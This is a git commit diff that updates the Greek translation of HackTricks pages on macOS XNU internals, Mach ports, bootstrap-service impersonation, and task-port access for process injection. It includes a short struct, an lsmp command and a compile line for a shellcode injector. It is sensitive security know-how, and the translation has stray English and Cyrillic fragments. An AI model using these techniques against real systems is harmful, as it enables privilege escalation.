mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['src/macos-hardening/macos-security-and-privilege-escalation
This commit is contained in:
parent
bdf683c88c
commit
5f92cece74
@ -4,7 +4,7 @@
|
||||
|
||||
## XNU Kernel
|
||||
|
||||
Ο **πυρήνας του macOS είναι ο XNU**, που σημαίνει "X is Not Unix". Αυτός ο πυρήνας αποτελείται θεμελιωδώς από τον **Mach μικροπυρήνα** (θα συζητηθεί αργότερα), **και** στοιχεία από την Berkeley Software Distribution (**BSD**). Ο XNU παρέχει επίσης μια πλατφόρμα για **οδηγούς πυρήνα μέσω ενός συστήματος που ονομάζεται I/O Kit**. Ο πυρήνας XNU είναι μέρος του ανοιχτού κώδικα έργου Darwin, που σημαίνει ότι **ο πηγαίος κώδικας του είναι ελεύθερα προσβάσιμος**.
|
||||
Ο **πυρήνας του macOS είναι ο XNU**, που σημαίνει "X is Not Unix". Αυτός ο πυρήνας αποτελείται θεμελιωδώς από τον **Mach μικροπυρήνα** (που θα συζητηθεί αργότερα), **και** στοιχεία από την Berkeley Software Distribution (**BSD**). Ο XNU παρέχει επίσης μια πλατφόρμα για **οδηγούς πυρήνα μέσω ενός συστήματος που ονομάζεται I/O Kit**. Ο πυρήνας XNU είναι μέρος του ανοιχτού κώδικα έργου Darwin, που σημαίνει ότι **ο πηγαίος κώδικας του είναι ελεύθερα προσβάσιμος**.
|
||||
|
||||
Από την προοπτική ενός ερευνητή ασφαλείας ή ενός προγραμματιστή Unix, το **macOS** μπορεί να φαίνεται αρκετά **παρόμοιο** με ένα σύστημα **FreeBSD** με μια κομψή GUI και μια σειρά από προσαρμοσμένες εφαρμογές. Οι περισσότερες εφαρμογές που αναπτύσσονται για BSD θα μεταγλωττιστούν και θα εκτελούνται στο macOS χωρίς να χρειάζονται τροποποιήσεις, καθώς τα εργαλεία γραμμής εντολών που είναι οικεία στους χρήστες Unix είναι όλα παρόντα στο macOS. Ωστόσο, επειδή ο πυρήνας XNU ενσωματώνει τον Mach, υπάρχουν κάποιες σημαντικές διαφορές μεταξύ ενός παραδοσιακού συστήματος παρόμοιου με Unix και του macOS, και αυτές οι διαφορές μπορεί να προκαλέσουν πιθανά προβλήματα ή να προσφέρουν μοναδικά πλεονεκτήματα.
|
||||
|
||||
@ -12,7 +12,7 @@
|
||||
|
||||
### Mach
|
||||
|
||||
Ο Mach είναι ένας **μικροπυρήνας** σχεδιασμένος να είναι **συμβατός με UNIX**. ΈPrinciple του σχεδιασμού του ήταν να **ελαχιστοποιήσει** την ποσότητα του **κώδικα** που εκτελείται στον **χώρο πυρήνα** και αντίθετα να επιτρέπει πολλές τυπικές λειτουργίες του πυρήνα, όπως το σύστημα αρχείων, το δίκτυο και το I/O, να **εκτελούνται ως εργασίες επιπέδου χρήστη**.
|
||||
Ο Mach είναι ένας **μικροπυρήνας** σχεδιασμένος να είναι **συμβατός με UNIX**. Ένα από τα βασικά σχεδιαστικά του принципα ήταν να **ελαχιστοποιήσει** την ποσότητα του **κώδικα** που εκτελείται στον **χώρο πυρήνα** και αντίθετα να επιτρέπει πολλές τυπικές λειτουργίες πυρήνα, όπως το σύστημα αρχείων, το δίκτυο και το I/O, να **εκτελούνται ως εργασίες επιπέδου χρήστη**.
|
||||
|
||||
Στον XNU, ο Mach είναι **υπεύθυνος για πολλές από τις κρίσιμες χαμηλού επιπέδου λειτουργίες** που συνήθως χειρίζεται ένας πυρήνας, όπως ο προγραμματισμός επεξεργαστή, η πολυδιεργασία και η διαχείριση εικονικής μνήμης.
|
||||
|
||||
@ -27,7 +27,7 @@
|
||||
- Στοίβα TCP/IP και υποδοχές
|
||||
- Τείχος προστασίας και φιλτράρισμα πακέτων
|
||||
|
||||
Η κατανόηση της αλληλεπίδρασης μεταξύ BSD και Mach μπορεί να είναι περίπλοκη, λόγω των διαφορετικών εννοιολογικών πλαισίων τους. Για παράδειγμα, το BSD χρησιμοποιεί διεργασίες ως τη θεμελιώδη μονάδα εκτέλεσης του, ενώ ο Mach λειτουργεί με βάση τα νήματα. Αυτή η διαφορά συμφιλιώνεται στον XNU με την **συσχέτιση κάθε διεργασίας BSD με μια εργασία Mach** που περιέχει ακριβώς ένα νήμα Mach. Όταν χρησιμοποιείται η κλήση συστήματος fork() του BSD, ο κώδικας BSD μέσα στον πυρήνα χρησιμοποιεί τις λειτουργίες Mach για να δημιουργήσει μια εργασία και μια δομή νήματος.
|
||||
Η κατανόηση της αλληλεπίδρασης μεταξύ BSD και Mach μπορεί να είναι περίπλοκη, λόγω των διαφορετικών εννοιολογικών πλαισίων τους. Για παράδειγμα, το BSD χρησιμοποιεί διεργασίες ως τη θεμελιώδη μονάδα εκτέλεσης του, ενώ ο Mach λειτουργεί με βάση τα νήματα. Αυτή η διαφορά συμφιλιώνεται στον XNU με το **να συσχετίζεται κάθε διεργασία BSD με μια εργασία Mach** που περιέχει ακριβώς ένα νήμα Mach. Όταν χρησιμοποιείται η κλήση συστήματος fork() του BSD, ο κώδικας BSD μέσα στον πυρήνα χρησιμοποιεί τις λειτουργίες Mach για να δημιουργήσει μια εργασία και μια δομή νήματος.
|
||||
|
||||
Επιπλέον, **ο Mach και το BSD διατηρούν διαφορετικά μοντέλα ασφαλείας**: το μοντέλο ασφαλείας του **Mach** βασίζεται στα **δικαιώματα θυρών**, ενώ το μοντέλο ασφαλείας του BSD λειτουργεί με βάση την **ιδιοκτησία διεργασίας**. Οι διαφορές μεταξύ αυτών των δύο μοντέλων έχουν κατά καιρούς οδηγήσει σε τοπικές ευπάθειες ανύψωσης προνομίων. Εκτός από τις τυπικές κλήσεις συστήματος, υπάρχουν επίσης **παγίδες Mach που επιτρέπουν στα προγράμματα χώρου χρήστη να αλληλεπιδρούν με τον πυρήνα**. Αυτά τα διαφορετικά στοιχεία μαζί σχηματίζουν την πολύπλευρη, υβριδική αρχιτεκτονική του πυρήνα macOS.
|
||||
|
||||
|
||||
@ -6,31 +6,31 @@
|
||||
|
||||
### Basic Information
|
||||
|
||||
Mach χρησιμοποιεί **tasks** ως την **μικρότερη μονάδα** για την κοινή χρήση πόρων, και κάθε task μπορεί να περιέχει **πολλές νήματα**. Αυτές οι **tasks και νήματα αντιστοιχίζονται 1:1 σε POSIX processes και threads**.
|
||||
Mach χρησιμοποιεί **tasks** ως την **μικρότερη μονάδα** για την κοινή χρήση πόρων, και κάθε task μπορεί να περιέχει **πολλές νήματα**. Αυτές οι **tasks και νήματα αντιστοιχούν 1:1 σε POSIX processes και threads**.
|
||||
|
||||
Η επικοινωνία μεταξύ των tasks συμβαίνει μέσω της Mach Inter-Process Communication (IPC), χρησιμοποιώντας κανάλια επικοινωνίας ενός μόνο τρόπου. **Μηνύματα μεταφέρονται μεταξύ των ports**, τα οποία λειτουργούν ως **ουρές μηνυμάτων** που διαχειρίζεται ο πυρήνας.
|
||||
Η επικοινωνία μεταξύ των tasks συμβαίνει μέσω της Mach Inter-Process Communication (IPC), χρησιμοποιώντας κανάλια επικοινωνίας ενός μόνο τρόπου. **Μηνύματα μεταφέρονται μεταξύ θυρών**, οι οποίες λειτουργούν όπως **ουρές μηνυμάτων** που διαχειρίζεται ο πυρήνας.
|
||||
|
||||
Κάθε διαδικασία έχει έναν **IPC πίνακα**, όπου είναι δυνατή η εύρεση των **mach ports της διαδικασίας**. Το όνομα ενός mach port είναι στην πραγματικότητα ένας αριθμός (ένας δείκτης στο αντικείμενο του πυρήνα).
|
||||
Κάθε διαδικασία έχει έναν **πίνακα IPC**, όπου είναι δυνατή η εύρεση των **mach ports της διαδικασίας**. Το όνομα μιας mach port είναι στην πραγματικότητα ένας αριθμός (ένας δείκτης στο αντικείμενο του πυρήνα).
|
||||
|
||||
Μια διαδικασία μπορεί επίσης να στείλει ένα όνομα port με ορισμένα δικαιώματα **σε μια διαφορετική task** και ο πυρήνας θα κάνει αυτή την καταχώρηση στον **IPC πίνακα της άλλης task** να εμφανιστεί.
|
||||
Μια διαδικασία μπορεί επίσης να στείλει ένα όνομα port με ορισμένα δικαιώματα **σε μια διαφορετική task** και ο πυρήνας θα κάνει αυτή την καταχώρηση στον **πίνακα IPC της άλλης task** να εμφανιστεί.
|
||||
|
||||
### Port Rights
|
||||
|
||||
Τα δικαιώματα port, τα οποία καθορίζουν ποιες λειτουργίες μπορεί να εκτελέσει μια task, είναι κλειδί για αυτή την επικοινωνία. Τα πιθανά **δικαιώματα port** είναι ([ορισμοί από εδώ](https://docs.darlinghq.org/internals/macos-specifics/mach-ports.html)):
|
||||
|
||||
- **Δικαίωμα λήψης**, το οποίο επιτρέπει τη λήψη μηνυμάτων που αποστέλλονται στο port. Τα Mach ports είναι MPSC (πολλοί παραγωγοί, ένας καταναλωτής) ουρές, που σημαίνει ότι μπορεί να υπάρχει μόνο **ένα δικαίωμα λήψης για κάθε port** σε ολόκληρο το σύστημα (σε αντίθεση με τους σωλήνες, όπου πολλές διαδικασίες μπορούν να κατέχουν περιγραφές αρχείων στο αναγνωριστικό ανάγνωσης ενός σωλήνα).
|
||||
- Μια **task με το Δικαίωμα Λήψης** μπορεί να λαμβάνει μηνύματα και **να δημιουργεί Δικαιώματα Αποστολής**, επιτρέποντάς της να στέλνει μηνύματα. Αρχικά μόνο η **δική της task έχει Δικαίωμα Λήψης πάνω στο port** της.
|
||||
- **Δικαίωμα αποστολής**, το οποίο επιτρέπει την αποστολή μηνυμάτων στο port.
|
||||
- **Δικαίωμα λήψης**, το οποίο επιτρέπει τη λήψη μηνυμάτων που αποστέλλονται στην port. Οι Mach ports είναι MPSC (πολλοί παραγωγοί, ένας καταναλωτής) ουρές, που σημαίνει ότι μπορεί να υπάρχει μόνο **ένα δικαίωμα λήψης για κάθε port** σε ολόκληρο το σύστημα (σε αντίθεση με τους σωλήνες, όπου πολλές διαδικασίες μπορούν να κατέχουν περιγραφείς αρχείων στο τέλος ανάγνωσης ενός σωλήνα).
|
||||
- Μια **task με το Δικαίωμα Λήψης** μπορεί να λαμβάνει μηνύματα και **να δημιουργεί Δικαιώματα Αποστολής**, επιτρέποντάς της να στέλνει μηνύματα. Αρχικά μόνο η **δική της task έχει Δικαίωμα Λήψης πάνω στην port**.
|
||||
- **Δικαίωμα αποστολής**, το οποίο επιτρέπει την αποστολή μηνυμάτων στην port.
|
||||
- Το Δικαίωμα Αποστολής μπορεί να **αντιγραφεί** έτσι ώστε μια task που κατέχει ένα Δικαίωμα Αποστολής να μπορεί να το αντιγράψει και **να το παραχωρήσει σε μια τρίτη task**.
|
||||
- **Δικαίωμα αποστολής μία φορά**, το οποίο επιτρέπει την αποστολή ενός μηνύματος στο port και στη συνέχεια εξαφανίζεται.
|
||||
- **Δικαίωμα συνόλου port**, το οποίο δηλώνει ένα _σύνολο port_ αντί για ένα μόνο port. Η αποδέσμευση ενός μηνύματος από ένα σύνολο port αποδεσμεύει ένα μήνυμα από ένα από τα ports που περιέχει. Τα σύνολα port μπορούν να χρησιμοποιηθούν για να ακούσουν σε αρκετά ports ταυτόχρονα, πολύ όπως το `select`/`poll`/`epoll`/`kqueue` στο Unix.
|
||||
- **Νεκρό όνομα**, το οποίο δεν είναι πραγματικό δικαίωμα port, αλλά απλώς μια θέση κράτησης. Όταν ένα port καταστρέφεται, όλα τα υπάρχοντα δικαιώματα port στο port μετατρέπονται σε νεκρά ονόματα.
|
||||
- **Δικαίωμα αποστολής μία φορά**, το οποίο επιτρέπει την αποστολή ενός μηνύματος στην port και στη συνέχεια εξαφανίζεται.
|
||||
- **Δικαίωμα συνόλου θυρών**, το οποίο δηλώνει ένα _σύνολο θυρών_ αντί για μια μόνο port. Η αποδέσμευση ενός μηνύματος από ένα σύνολο θυρών αποδεσμεύει ένα μήνυμα από μία από τις θυρίδες που περιέχει. Τα σύνολα θυρών μπορούν να χρησιμοποιηθούν για να ακούσουν σε πολλές θυρίδες ταυτόχρονα, πολύ όπως το `select`/`poll`/`epoll`/`kqueue` στο Unix.
|
||||
- **Νεκρό όνομα**, το οποίο δεν είναι πραγματικό δικαίωμα port, αλλά απλώς μια θέση κράτησης. Όταν μια port καταστρέφεται, όλα τα υπάρχοντα δικαιώματα port στην port μετατρέπονται σε νεκρά ονόματα.
|
||||
|
||||
**Οι tasks μπορούν να μεταφέρουν ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ σε άλλους**, επιτρέποντάς τους να στέλνουν μηνύματα πίσω. **Τα ΔΙΚΑΙΩΜΑΤΑ ΑΠΟΣΤΟΛΗΣ μπορούν επίσης να αντιγραφούν, έτσι ώστε μια task να μπορεί να διπλασιάσει και να δώσει το δικαίωμα σε μια τρίτη task**. Αυτό, σε συνδυασμό με μια ενδιάμεση διαδικασία γνωστή ως **bootstrap server**, επιτρέπει την αποτελεσματική επικοινωνία μεταξύ των tasks.
|
||||
|
||||
### File Ports
|
||||
|
||||
Τα file ports επιτρέπουν την ενσωμάτωση περιγραφών αρχείων σε Mac ports (χρησιμοποιώντας δικαιώματα Mach port). Είναι δυνατή η δημιουργία ενός `fileport` από μια δεδομένη FD χρησιμοποιώντας `fileport_makeport` και η δημιουργία μιας FD από ένα fileport χρησιμοποιώντας `fileport_makefd`.
|
||||
Οι File ports επιτρέπουν την ενσωμάτωση περιγραφέων αρχείων σε Mac ports (χρησιμοποιώντας δικαιώματα Mach port). Είναι δυνατή η δημιουργία ενός `fileport` από έναν δεδομένο FD χρησιμοποιώντας `fileport_makeport` και η δημιουργία ενός FD από μια fileport χρησιμοποιώντας `fileport_makefd`.
|
||||
|
||||
### Establishing a communication
|
||||
|
||||
@ -38,32 +38,32 @@ Mach χρησιμοποιεί **tasks** ως την **μικρότερη μον
|
||||
|
||||
Όπως αναφέρθηκε, προκειμένου να καθιερωθεί το κανάλι επικοινωνίας, εμπλέκεται ο **bootstrap server** (**launchd** στο mac).
|
||||
|
||||
1. Η task **A** ξεκινά ένα **νέο port**, αποκτώντας ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** στη διαδικασία.
|
||||
2. Η task **A**, ως κάτοχος του Δικαιώματος Λήψης, **δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ για το port**.
|
||||
3. Η task **A** καθ establishes a **connection** με τον **bootstrap server**, παρέχοντας το **όνομα υπηρεσίας του port** και το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** μέσω μιας διαδικασίας γνωστής ως bootstrap register.
|
||||
1. Η task **A** ξεκινά μια **νέα port**, αποκτώντας ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** στη διαδικασία.
|
||||
2. Η task **A**, ως κάτοχος του Δικαιώματος Λήψης, **δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ για την port**.
|
||||
3. Η task **A** καθ establishes a **connection** με τον **bootstrap server**, παρέχοντας το **όνομα υπηρεσίας της port** και το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** μέσω μιας διαδικασίας γνωστής ως bootstrap register.
|
||||
4. Η task **B** αλληλεπιδρά με τον **bootstrap server** για να εκτελέσει μια bootstrap **lookup για το όνομα υπηρεσίας**. Εάν είναι επιτυχής, ο **server αντιγράφει το ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ** που έλαβε από την Task A και **το μεταδίδει στην Task B**.
|
||||
5. Αφού αποκτήσει ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, η Task **B** είναι ικανή να **διαμορφώσει** ένα **μήνυμα** και να το αποστείλει **στην Task A**.
|
||||
6. Για μια αμφίδρομη επικοινωνία, συνήθως η task **B** δημιουργεί ένα νέο port με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A** ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία).
|
||||
6. Για μια αμφίδρομη επικοινωνία, συνήθως η task **B** δημιουργεί μια νέα port με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A** ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία).
|
||||
|
||||
Ο bootstrap server **δεν μπορεί να πιστοποιήσει** το όνομα υπηρεσίας που δηλώνει μια task. Αυτό σημαίνει ότι μια **task** θα μπορούσε δυνητικά να **παριστάνει οποιαδήποτε συστημική task**, όπως ψευδώς **να δηλώνει ένα όνομα υπηρεσίας εξουσιοδότησης** και στη συνέχεια να εγκρίνει κάθε αίτημα.
|
||||
|
||||
Στη συνέχεια, η Apple αποθηκεύει τα **ονόματα υπηρεσιών που παρέχονται από το σύστημα** σε ασφαλή αρχεία ρυθμίσεων, που βρίσκονται σε **SIP-protected** καταλόγους: `/System/Library/LaunchDaemons` και `/System/Library/LaunchAgents`. Μαζί με κάθε όνομα υπηρεσίας, το **σχετικό δυαδικό αρχείο αποθηκεύεται επίσης**. Ο bootstrap server θα δημιουργήσει και θα διατηρήσει ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ για καθένα από αυτά τα ονόματα υπηρεσίας**.
|
||||
|
||||
Για αυτές τις προκαθορισμένες υπηρεσίες, η **διαδικασία αναζήτησης διαφέρει ελαφρώς**. Όταν αναζητείται ένα όνομα υπηρεσίας, το launchd ξεκινά την υπηρεσία δυναμικά. Η νέα ροή εργασίας είναι ως εξής:
|
||||
Για αυτές τις προκαθορισμένες υπηρεσίες, η **διαδικασία αναζήτησης διαφέρει ελαφρώς**. Όταν ένα όνομα υπηρεσίας αναζητείται, το launchd ξεκινά την υπηρεσία δυναμικά. Η νέα ροή εργασίας είναι ως εξής:
|
||||
|
||||
- Η task **B** ξεκινά μια bootstrap **lookup** για ένα όνομα υπηρεσίας.
|
||||
- Ο **launchd** ελέγχει αν η task εκτελείται και αν δεν εκτελείται, **την ξεκινά**.
|
||||
- **launchd** ελέγχει αν η task εκτελείται και αν δεν εκτελείται, **την ξεκινά**.
|
||||
- Η task **A** (η υπηρεσία) εκτελεί έναν **bootstrap check-in**. Εδώ, ο **bootstrap** server δημιουργεί ένα ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ, το διατηρεί και **μεταφέρει το ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ στην Task A**.
|
||||
- Ο launchd αντιγράφει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ και το στέλνει στην Task B**.
|
||||
- Η Task **B** δημιουργεί ένα νέο port με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A** (την svc) ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία).
|
||||
- Το launchd αντιγράφει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ και το στέλνει στην Task B**.
|
||||
- Η Task **B** δημιουργεί μια νέα port με ένα **ΔΙΚΑΙΩΜΑ ΛΗΨΗΣ** και ένα **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ**, και δίνει το **ΔΙΚΑΙΩΜΑ ΑΠΟΣΤΟΛΗΣ στην Task A** (την svc) ώστε να μπορεί να στέλνει μηνύματα στην TASK B (αμφίδρομη επικοινωνία).
|
||||
|
||||
Ωστόσο, αυτή η διαδικασία ισχύει μόνο για προκαθορισμένες συστημικές tasks. Οι μη συστημικές tasks λειτουργούν ακόμα όπως περιγράφηκε αρχικά, γεγονός που θα μπορούσε δυνητικά να επιτρέψει την παριστάνουν.
|
||||
Ωστόσο, αυτή η διαδικασία ισχύει μόνο για προκαθορισμένες συστημικές tasks. Οι μη συστημικές tasks εξακολουθούν να λειτουργούν όπως περιγράφηκε αρχικά, γεγονός που θα μπορούσε δυνητικά να επιτρέψει την παριστάνουν.
|
||||
|
||||
### A Mach Message
|
||||
|
||||
[Find more info here](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/)
|
||||
|
||||
Η συνάρτηση `mach_msg`, που είναι ουσιαστικά μια κλήση συστήματος, χρησιμοποιείται για την αποστολή και λήψη Mach μηνυμάτων. Η συνάρτηση απαιτεί το μήνυμα που θα σταλεί ως την αρχική παράμετρο. Αυτό το μήνυμα πρέπει να ξεκινά με μια δομή `mach_msg_header_t`, ακολουθούμενη από το πραγματικό περιεχόμενο του μηνύματος. Η δομή ορίζεται ως εξής:
|
||||
Η συνάρτηση `mach_msg`, που είναι ουσιαστικά μια κλήση συστήματος, χρησιμοποιείται για την αποστολή και λήψη Mach μηνυμάτων. Η συνάρτηση απαιτεί το μήνυμα που θα σταλεί ως αρχικό επιχείρημα. Αυτό το μήνυμα πρέπει να ξεκινά με μια δομή `mach_msg_header_t`, ακολουθούμενη από το πραγματικό περιεχόμενο του μηνύματος. Η δομή ορίζεται ως εξής:
|
||||
```c
|
||||
typedef struct {
|
||||
mach_msg_bits_t msgh_bits;
|
||||
@ -74,9 +74,9 @@ mach_port_name_t msgh_voucher_port;
|
||||
mach_msg_id_t msgh_id;
|
||||
} mach_msg_header_t;
|
||||
```
|
||||
Διεργασίες που κατέχουν ένα _**receive right**_ μπορούν να λαμβάνουν μηνύματα σε μια Mach θύρα. Αντίθετα, οι **αποστολείς** έχουν ένα _**send**_ ή ένα _**send-once right**_. Το send-once right προορίζεται αποκλειστικά για την αποστολή ενός μόνο μηνύματος, μετά το οποίο καθίσταται άκυρο.
|
||||
Διεργασίες που κατέχουν ένα _**δικαίωμα λήψης**_ μπορούν να λαμβάνουν μηνύματα σε μια Mach θύρα. Αντίθετα, οι **αποστολείς** έχουν ένα _**δικαίωμα αποστολής**_ ή ένα _**δικαίωμα αποστολής-μία φορά**_. Το δικαίωμα αποστολής-μία φορά προορίζεται αποκλειστικά για την αποστολή ενός μόνο μηνύματος, μετά το οποίο καθίσταται άκυρο.
|
||||
|
||||
Για να επιτευχθεί μια εύκολη **διπλής κατεύθυνσης επικοινωνία**, μια διεργασία μπορεί να καθορίσει μια **mach port** στην κεφαλίδα **μηνύματος** που ονομάζεται _reply port_ (**`msgh_local_port`**) όπου ο **δέκτης** του μηνύματος μπορεί να **στείλει μια απάντηση** σε αυτό το μήνυμα. Οι bitflags στο **`msgh_bits`** μπορούν να χρησιμοποιηθούν για να **υποδείξουν** ότι ένα **send-once** **right** θα πρέπει να παραχθεί και να μεταφερθεί για αυτή τη θύρα (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
Για να επιτευχθεί μια εύκολη **διπλής κατεύθυνσης επικοινωνία**, μια διεργασία μπορεί να καθορίσει μια **mach θύρα** στην κεφαλίδα **μηνύματος** που ονομάζεται _θύρα απάντησης_ (**`msgh_local_port`**) όπου ο **δέκτης** του μηνύματος μπορεί να **στείλει μια απάντηση** σε αυτό το μήνυμα. Οι σημαίες bit στο **`msgh_bits`** μπορούν να χρησιμοποιηθούν για να **υποδείξουν** ότι ένα **δικαίωμα αποστολής-μία φορά** θα πρέπει να παραχθεί και να μεταφερθεί για αυτή τη θύρα (`MACH_MSG_TYPE_MAKE_SEND_ONCE`).
|
||||
|
||||
> [!TIP]
|
||||
> Σημειώστε ότι αυτός ο τύπος διπλής κατεύθυνσης επικοινωνίας χρησιμοποιείται σε μηνύματα XPC που αναμένουν μια απάντηση (`xpc_connection_send_message_with_reply` και `xpc_connection_send_message_with_reply_sync`). Αλλά **συνήθως δημιουργούνται διαφορετικές θύρες** όπως εξηγήθηκε προηγουμένως για να δημιουργηθεί η διπλής κατεύθυνσης επικοινωνία.
|
||||
@ -89,13 +89,13 @@ mach_msg_id_t msgh_id;
|
||||
- `msgh_id`: το ID αυτού του μηνύματος, το οποίο ερμηνεύεται από τον δέκτη.
|
||||
|
||||
> [!CAUTION]
|
||||
> Σημειώστε ότι **τα mach μηνύματα αποστέλλονται μέσω μιας \_mach port**\_, η οποία είναι ένα **μοναδικός δέκτης**, **πολλαπλοί αποστολείς** κανάλι επικοινωνίας που έχει ενσωματωθεί στον πυρήνα mach. **Πολλές διεργασίες** μπορούν να **στείλουν μηνύματα** σε μια mach port, αλλά σε οποιαδήποτε στιγμή μόνο **μία διεργασία μπορεί να διαβάσει** από αυτήν.
|
||||
> Σημειώστε ότι **τα mach μηνύματα αποστέλλονται μέσω μιας \_mach θύρας**\_, η οποία είναι ένα **κανάλι επικοινωνίας με έναν μόνο δέκτη**, **πολλούς αποστολείς** ενσωματωμένο στον πυρήνα mach. **Πολλές διεργασίες** μπορούν να **στείλουν μηνύματα** σε μια mach θύρα, αλλά σε οποιαδήποτε στιγμή μόνο **μία διεργασία μπορεί να διαβάσει** από αυτήν.
|
||||
|
||||
### Καταμέτρηση θυρών
|
||||
```bash
|
||||
lsmp -p <pid>
|
||||
```
|
||||
Μπορείτε να εγκαταστήσετε αυτό το εργαλείο σε iOS κατεβάζοντάς το από [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
|
||||
Μπορείτε να εγκαταστήσετε αυτό το εργαλείο στο iOS κατεβάζοντας το από [http://newosxbook.com/tools/binpack64-256.tar.gz](http://newosxbook.com/tools/binpack64-256.tar.gz)
|
||||
|
||||
### Παράδειγμα κώδικα
|
||||
|
||||
@ -227,11 +227,11 @@ printf("Sent a message\n");
|
||||
|
||||
### Προνομιακές Θύρες
|
||||
|
||||
- **Θύρα φιλοξενίας**: Εάν μια διαδικασία έχει **Δικαιώματα Αποστολής** σε αυτή τη θύρα, μπορεί να αποκτήσει **πληροφορίες** για το **σύστημα** (π.χ. `host_processor_info`).
|
||||
- **Θύρα προνομιακής φιλοξενίας**: Μια διαδικασία με **Δικαιώματα Αποστολής** σε αυτή τη θύρα μπορεί να εκτελέσει **προνομιακές ενέργειες** όπως η φόρτωση μιας επέκτασης πυρήνα. Η **διαδικασία πρέπει να είναι root** για να αποκτήσει αυτή την άδεια.
|
||||
- **Θύρα φιλοξενίας**: Εάν μια διαδικασία έχει **Δικαιώματα Αποστολής** σε αυτή τη θύρα, μπορεί να αποκτήσει **πληροφορίες** σχετικά με το **σύστημα** (π.χ. `host_processor_info`).
|
||||
- **Θύρα φιλοξενίας με δικαιώματα**: Μια διαδικασία με **Δικαιώματα Αποστολής** σε αυτή τη θύρα μπορεί να εκτελέσει **προνομιακές ενέργειες** όπως η φόρτωση μιας επέκτασης πυρήνα. Η **διαδικασία πρέπει να είναι root** για να αποκτήσει αυτή την άδεια.
|
||||
- Επιπλέον, για να καλέσετε το API **`kext_request`** απαιτείται να έχετε άλλες εξουσιοδοτήσεις **`com.apple.private.kext*`** που δίνονται μόνο σε δυαδικά αρχεία της Apple.
|
||||
- **Θύρα ονόματος εργασίας:** Μια μη προνομιακή έκδοση της _θύρας εργασίας_. Αναφέρεται στην εργασία, αλλά δεν επιτρέπει τον έλεγχο της. Το μόνο που φαίνεται να είναι διαθέσιμο μέσω αυτής είναι το `task_info()`.
|
||||
- **Θύρα εργασίας** (γνωστή και ως θύρα πυρήνα): Με άδεια Αποστολής σε αυτή τη θύρα είναι δυνατός ο έλεγχος της εργασίας (ανάγνωση/γραφή μνήμης, δημιουργία νημάτων...).
|
||||
- **Θύρα εργασίας** (aka θύρα πυρήνα)**:** Με άδεια Αποστολής σε αυτή τη θύρα είναι δυνατός ο έλεγχος της εργασίας (ανάγνωση/γραφή μνήμης, δημιουργία νημάτων...).
|
||||
- Καλέστε το `mach_task_self()` για να **πάρετε το όνομα** αυτής της θύρας για την καλούσα εργασία. Αυτή η θύρα είναι μόνο **κληρονομούμενη** μέσω του **`exec()`**; μια νέα εργασία που δημιουργείται με `fork()` αποκτά μια νέα θύρα εργασίας (ως ειδική περίπτωση, μια εργασία αποκτά επίσης μια νέα θύρα εργασίας μετά το `exec()` σε ένα δυαδικό αρχείο suid). Ο μόνος τρόπος για να δημιουργήσετε μια εργασία και να αποκτήσετε τη θύρα της είναι να εκτελέσετε τον ["χορό ανταλλαγής θυρών"](https://robert.sesek.com/2014/1/changes_to_xnu_mach_ipc.html) κατά τη διάρκεια ενός `fork()`.
|
||||
- Αυτοί είναι οι περιορισμοί για την πρόσβαση στη θύρα (από το `macos_task_policy` από το δυαδικό αρχείο `AppleMobileFileIntegrity`):
|
||||
- Εάν η εφαρμογή έχει **`com.apple.security.get-task-allow` εξουσιοδότηση**, διαδικασίες από τον **ίδιο χρήστη μπορούν να αποκτήσουν πρόσβαση στη θύρα εργασίας** (συνήθως προστίθεται από το Xcode για αποσφαλμάτωση). Η διαδικασία **πιστοποίησης** δεν θα το επιτρέψει σε παραγωγικές εκδόσεις.
|
||||
@ -502,11 +502,11 @@ gcc -framework Foundation -framework Appkit sc_inject.m -o sc_inject
|
||||
|
||||
Στο macOS, **threads** μπορεί να χειριστούν μέσω **Mach** ή χρησιμοποιώντας **posix `pthread` api**. Ο thread που δημιουργήσαμε στην προηγούμενη ένεση, δημιουργήθηκε χρησιμοποιώντας το Mach api, οπότε **δεν είναι συμβατός με posix**.
|
||||
|
||||
